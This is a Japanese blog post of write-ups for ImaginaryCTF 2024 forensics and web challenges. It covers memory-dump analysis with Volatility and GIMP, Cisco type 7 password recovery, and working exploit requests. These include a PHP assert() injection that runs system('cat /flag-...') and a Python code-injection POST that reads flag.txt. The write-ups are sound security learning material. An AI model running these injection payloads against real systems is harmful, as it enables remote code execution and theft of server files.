はまやんはまやんはまやん

hamayanhamayan's blog

ImaginaryCTF 2024 Writeups

https://ctftime.org/event/2396

[forensics] bom

chal.txtというファイルが与えられる。全部中国語の文字のように見えるが、hdコマンドをして、各文字をasciiに変換するとフラグになった。

ascii文字の先頭にUTF-16のBOMのFE FFを付けたファイルのようだった。

$ hd chal.txt 
00000000  fe ff 69 63 74 66 7b 74  68 34 74 5f 69 73 6e 37  |..ictf{th4t_isn7|
00000010  5f 63 68 69 6e 33 73 65  7d                       |_chin3se}|
00000019

[forensics] packed

routed.pkzというCiscoのPacket Tracerというソフトで開けるファイルが与えられる。fileコマンドしてみるとzipだったので解凍するとsecret.pngというファイルが解凍されてきてフラグが書いてあった。

[forensics] crash

dump.vmemというメモリダンプが与えられる。stringsして適当に眺めるとWindowsのものだった。Volatility 3で解析してみよう。

問題文はI didn't save my work...だったので、保存してない何かをメモリから抜いてくるのが目的っぽい。windows.pstreeを見るとnotepad.exeが動いていた。怪しい。

1400 1124    winlogon.exe    0xc60c81e45080  4   -   2   False   2024-07-19 00:28:49.000000  N/A
...
* 4032  1400    userinit.exe    0xc60c811a8300  0   -   2   False   2024-07-19 00:28:50.000000  2024-07-19 00:29:27.000000 
** 4736 4032    explorer.exe    0xc60c80f0d080  64  -   2   False   2024-07-19 00:28:50.000000  N/A
...
*** 2216    4736    notepad.exe 0xc60c81b87080  12  -   2   False   2024-07-19 01:58:24.000000  N/A

notepad.exeのPIDは2216だったのでpython3 ~/.opt/volatility3/vol.py -f dump.vmem windows.memmap.Memmap --pid 2216 --dumpでメモリダンプをしておこう。

メモリダンプをGIMPに食わせて画像復元するテクがあり、これでnotepad.exeのスクリーンショットが見られるというWriteupをいくつか見たのでやってみる。pid.2216.dmppid.2216.dataに変名して、GIMPでOpen ImageからRaw image dataを選択して開く。開く際に縦横を調整できるので、横を1024pxとして縦を適当に増やしてみてみるとaWN0ほにゃらら==みたいなbase64エンコード物が出てきた。これですね、転記してもいいのだが、stringsで持って来てデコードしてみるとフラグが出てきた。

$ strings -e l pid.2216.data | grep == | grep aWN0 | uniq | base64 -d
ictf{■■■■■■■■■■■}

[forensics] routed

packedの続きの問題。使うファイルも同じ。Cisco Packet Tracerを入れてrouted.pkzファイルを開いて中身を巡回してみる。IOS Command Logに面白いログが残っていた。

Time: 火 7 9 13:55:51 2024
Device: Router1
Prompt: Router(config-line)#
Command: password 7 020F074F0D1D0728484A0C173A191D1F330C2B382C2D3728

これか。見たことある。CiscoのType 7形式ではパスワードはエンコードされているだけでハッシュ化ではないので戻すことができる。これをこことかで復号化すればフラグが手に入る。

[forensics] System Hardening 10 解けなかった

本番では解き切れなかったが、面白かったので復習しておいた。長いので別記事。

blog.hamayanhamayan.com

[web] readme 解いたが解けてない。

(恐らく)作問ミスでフラグがソースコードに含まれていた。本来の問題については解けてない。

[web] journal

ソースコード有り。phpでファイルが見られるアプリが与えられる。フラグの場所を見るとDockrefileに以下のように書いてある。

RUN mv /flag.txt /flag-`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt

つまり/flag-ほにゃららにフラグがあるのでRCEが要求されていそう。外部から入力値を受け付けそうな部分は以下。

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  echo $filepath;

  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

パストラバーサルはassertでブロックされていたが、ここで逆に脆弱性を作り込んでいる。

assert("strpos('$file', '..') === false") or die("Invalid file!");

ここ。HackTricksにもあるRCE via Assert()を使う。system関数を入れ込んでみよう。' .system("id"). 'をfileに入れてみるとidコマンドが実行された。なので以下のようにls /を実行してみるとflag-cARdaInFg6dD10uWQQgm.txtというファイル名が得られたので最終的に以下のようにリクエストするとフラグが得られる。

GET /?file='%20.system(%22cat%20%2fflag-cARdaInFg6dD10uWQQgm.txt%22).%20' HTTP/1.1
Host: journal.chal.imaginaryctf.org
Connection: keep-alive

[web] P2C

ソースコード有り。問題文にThe flag is located in flag.txt.とあるのでflag.txtを取得してくるのがこの問題のゴール。pythonで出来たコードを実行して、その結果を色に変換するサイトが与えられる。

@app.route('/', methods=["GET", "POST"])
def index():
    res = None
    if request.method == "POST":
        code = request.form["code"]
        res = xec(code)
        valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
        if res == None:
            return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
        if valid.match("".join(res.strip().split("\n")[-1])):
            return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))
        return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
    return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")

codeで受け取ったコードをxec関数で実行してその結果を出力している。結果が出力されるには抜粋すると以下のように正規表現で検証されてpassすれば表示される。

valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
…
if valid.match("".join(res.strip().split("\n")[-1])):

これを見ると(1, 2, 3)みたいな入力であればいいことが分かる。次にxec関数は以下のような感じ。

def xec(code):
    code = code.strip()
    indented = "\n".join(["    " + line for line in code.strip().splitlines()])

    file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
    with open(file, 'w') as f:
        f.write("def main():\n")
        f.write(indented)
        f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

    os.system(f"chmod 755 {file}")

    try:
        res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
        output = res.stdout
    except Exception as e:
        output = None

    os.remove(file)

    return output

単純にexecしているのでは無く、ファイルを作成してその戻り値を結果として受け取っている。入力されたコードはmain関数の中身として利用され、そのreturnを別の関数rgb_parseを使って変換して出力している。rgb_parse関数の内容は抜粋するがTupleで3つの値を返す関数なので出力は期待通り(1, 2, 3)のような形になる。

上記で説明した正規表現とファイルを作成して実行している部分の2つの部分にそれぞれ脆弱な箇所がある。

まず、正規表現re.matchが使われているが、正規表現を見ても、文字列の先頭がマッチしていればいいので(1, 2, 3)hogehogeという出力でも検証が通ってしまう。

次に、ファイルを作成して実行している部分は最終的には標準出力の最後の行が利用されるため、rgb_parseを通っているかどうかは特に問題ではない。つまり、main関数の中で結果を出力させてexitしてしまえばrgb_parseを実行せずにpython実行を終了させることができ、任意の値を返すことができてしまう。

この2つの合わせると任意のpythonコード結果を出力させることができてしまう。具体的には以下のようなリクエストを使う。

POST / HTTP/1.1
Host: p2c.chal.imaginaryctf.org
Content-Length: 58
Content-Type: application/x-www-form-urlencoded

code=print(%22(1%2c%202%2c%203)%22%2b%22hoge%22)%2cexit(0)

code部分はデコードするとprint("(1, 2, 3)"+"hoge"),exit(0)である。printで先頭に適当なカラーコードを置いておいて、その後任意の文字列を入れ込む。あとはexit(0)で強制終了させるというコード。これを実行するとchangeBackgroundColor("rgb(1, 2, 3)hoge");のようにhogeが帰ってくることが確認できる。あとはflag.txtを取得して表示させればよいので以下のようなcodeを送ればフラグが応答に含まれてくる。

print("(1, 2, 3)"+open('flag.txt').read()),exit(0)

[web] crystals

ソースコード有り。rubysinatraで書かれたwebサーバが与えられる。カスタムコードは以下のような感じで何もしないサーバ。

require 'sinatra'

# Route for the index page
get '/' do
  erb :index
end

最も特筆すべき部分がフラグがhostnameに書かれているという部分。docker-compose.ymlに以下のように記載がある。

version: '3.3'
services:
  deployment:
    hostname: $FLAG
    build: .
    ports:
      - 10001:80

これは調査系だな…と思いsinatraを特に標準で追加される何かが無いかを探していく。経緯は忘れてしまったがセッティングのenvironmentにdevelopmentという設定値があることを発見する。しかも、デフォルト設定はdevelopmentのようだ。

キーワードが得られたのでChatGPTに聞いてみる。

Q: sinatraをdevelopmentで動かすと何が追加されますか? A: Sinatraをdevelopment環境で動かすと、いくつかの便利な機能や設定がデフォルトで有効になります。これにより、開発中のデバッグやリロードが容易になります。以下は、development環境での主な追加機能と設定です:

自動リロード sinatra/reloader ミドルウェアが有効になります。これにより、コードを変更するたびにサーバーを手動で再起動する必要がなくなります。ファイルが変更されると、自動的に再読み込みが行われます。

詳細なエラーページ development環境では、詳細なエラーページが表示されます。これは、アプリケーションでエラーが発生した場合に、スタックトレースやエラーの詳細情報を確認できるため、デバッグが容易になります。

ログの詳細化 development環境では、より詳細なログが出力されます。これにより、リクエストやレスポンスの詳細を確認しやすくなり、デバッグトラブルシューティングが容易になります。

デフォルトのポート デフォルトでは、Sinatraはdevelopment環境でポート4567で動作します。他の環境(例えばproduction)では、別のポートを指定することが多いです。

この中から「詳細なエラーページ」を深堀すると解けた。何とかエラーを発生させることができれば、良い感じに詳細なエラーページを表示させることができ、そこにホスト名が含まれてくるかもしれない。

CSP回避の時に見た「431エラーを使ったCSP回避テク」と同じテクを使うとエラーページを出すことができた。。長いクエリストリングを使うことでサーバ側のバリデーションエラーを誘い、エラーページを表示させる。そこにフラグが含まれていた。

$ curl http://[redacted].org/?$(python3 -c "print('A'*4000)")
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<HTML>
  <HEAD><TITLE>Request-URI Too Large</TITLE></HEAD>
  <BODY>
    <H1>Request-URI Too Large</H1>
    WEBrick::HTTPStatus::RequestURITooLarge
    <HR>
    <ADDRESS>
     WEBrick/1.8.1 (Ruby/3.0.2/2021-07-07) at
     ictf{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}:4567
    </ADDRESS>
  </BODY>
</HTML>